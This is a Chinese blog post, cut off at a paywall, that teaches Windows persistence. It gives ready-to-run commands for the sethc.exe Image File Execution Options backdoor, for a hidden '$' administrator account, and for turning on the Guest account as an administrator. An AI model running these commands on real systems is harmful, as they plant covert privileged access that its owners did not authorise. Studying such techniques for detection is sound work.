Windows权限维持

懒猫的sky

已于 2022-07-03 12:13:15 修改

阅读量482

点赞数

CC 4.0 BY-SA版权

分类专栏： windows维权文章标签： windows 服务器运维

于 2022-07-03 12:05:12 首次发布

本文链接：https://blog.csdn.net/qq_40012781/article/details/125582989

本文详细介绍了Windows系统中多种权限维持的手段，包括映像劫持、激活Guest用户、克隆账户、rid_hijack和shift后门。通过设置注册表、利用MSF、Empire和Cobalt Strike等工具，实现远程登录后的权限保持和隐蔽后门的创建。同时，提到了检测和清理这些权限维持措施的方法，如使用D盾_web查杀工具。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

远程登录类

映像劫持

“映像劫持”，也被称为“IFEO”（Image File Execution Options），在WindowsNT架构的系统里，IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时，它的内存分配则根据该程序的参数来设定，而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据，最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因，IFEO使用忽略路径的方式来匹配它所要控制的程序文件名，所以程序无论放在哪个路径，只要名字没有变化，它就运行出问题。

注册表位置：HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

在此注册表位置添加项sethc.exe，添加debugger键的值为c:\windows\system32\cmd.exe

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

此时点击五次shift键会打开cmd。（利用时，可以远程登录，然后多次点击触发后门上线）

影子账户

net user test$ 123456 /add&&net localgroup administrators test$ /add

激活Guest用户

net user guest /active:yes
net user guest 1234
net localgroup administrators guest /add

windows cmd命令行的切换用户设置

在打开的命令行中输入 runas /user:administrator cmd

最低0.47元/天解锁文章

200万优质内容无限畅学